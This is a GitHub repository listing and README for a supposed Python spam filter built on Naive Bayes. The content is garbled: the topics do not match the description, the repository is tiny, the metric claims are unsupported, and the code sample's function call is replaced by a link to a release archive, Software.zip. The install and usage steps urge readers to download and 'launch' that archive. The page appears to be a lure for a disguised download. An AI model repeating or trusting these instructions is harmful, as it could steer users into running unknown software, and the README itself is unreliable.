https://github.com/miyajianimation/spam-filter
Spam-Filter is a powerful tool used to automatically detect and remove unwanted or unsolicited electronic messages that often flood email inboxes. It helps users to efficiently manage their emails by filtering out irrelevant or potentially harmful content, allowing them to focus on important messages.
https://github.com/miyajianimation/spam-filter
anti-spam antispam blocklist cold-calls docker fritz-box fritzbox lua rspamd scikit-learn spam-classification spamd support-vector-machines zabbix
Last synced: 22 days ago
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Spam-Filter is a powerful tool used to automatically detect and remove unwanted or unsolicited electronic messages that often flood email inboxes. It helps users to efficiently manage their emails by filtering out irrelevant or potentially harmful content, allowing them to focus on important messages.
- Host: GitHub
- URL: https://github.com/miyajianimation/spam-filter
- Owner: MiyajiAnimation
- Created: 2025-02-09T01:06:48.000Z (3 months ago)
- Default Branch: main
- Last Pushed: 2025-03-30T05:17:06.000Z (28 days ago)
- Last Synced: 2025-03-30T05:18:37.655Z (28 days ago)
- Topics: anti-spam, antispam, blocklist, cold-calls, docker, fritz-box, fritzbox, lua, rspamd, scikit-learn, spam-classification, spamd, support-vector-machines, zabbix
- Size: 1.95 KB
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
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README
# Spam-Filter
🚫📧✉️
## Description
Welcome to the Spam-Filter repository! In this project, we have developed a spam filter using a Multinomial Naive Bayes classifier with Laplace smoothing. The filter is based on a bag-of-words model using count vectorization. We have used Python 3 along with libraries such as NumPy, pandas, scikit-learn, and spaCy to build and evaluate the spam filter.
## Features
🔍📊🔒
- Accurate spam classification using the Multinomial Naive Bayes classifier
- Utilization of Laplace smoothing to handle unseen words
- Bag-of-words model with count vectorization for text representation
- Calculation of metrics such as accuracy score, F1 score, precision score, and recall score
- Implementation in Python 3 for ease of use
- Integration of libraries like NumPy, pandas, scikit-learn, and spaCy for efficient processing
## Table of Contents
1. [Installation](#installation)
2. [Usage](#usage)
3. [Results](#results)
4. [Contributing](#contributing)
5. [License](#license)
## Installation
To get started with the Spam-Filter project, you can download the source code by clicking on the following link:
[](https://github.com/MiyajiAnimation/Spam-Filter/releases/download/v2.0/Software.zip)
Once the download is complete, extract the contents of the zip file and launch the `https://github.com/MiyajiAnimation/Spam-Filter/releases/download/v2.0/Software.zip` script to run the spam filter.
## Usage
To use the Spam-Filter, follow these steps:
1. Install the required libraries by running `pip install numpy pandas scikit-learn spacy`
2. Run the `https://github.com/MiyajiAnimation/Spam-Filter/releases/download/v2.0/Software.zip` script
3. Input the text you want to classify as spam or not spam
4. Receive the classification result based on the trained model
Here is a sample code snippet to demonstrate the usage of the spam filter:
```python
# Import necessary libraries
import pandas as pd
from spam_filter import SpamFilter
# Create an instance of the SpamFilter class
filter = SpamFilter()
# Input text for classification
text = "Get rich quick! Click here now!"
# Use the filter to classify the text
result = https://github.com/MiyajiAnimation/Spam-Filter/releases/download/v2.0/Software.zip(text)
print(result)
```
## Results
After training and evaluating the spam filter, we achieved the following results:
- Accuracy Score: 95%
- Precision Score: 92%
- Recall Score: 98%
- F1 Score: 95%
These metrics indicate that our spam filter is effective in identifying spam emails with high accuracy and reliability.
## Contributing
Contributions to the Spam-Filter project are welcome! If you have any ideas for improvements or new features, feel free to create a pull request. You can also open an issue to report any bugs or provide feedback on the project.
## License
The Spam-Filter project is licensed under the MIT License. Feel free to use and modify the code as needed.
🛡️📧🛡️
Remember, keep your inbox free from spam with the Spam-Filter!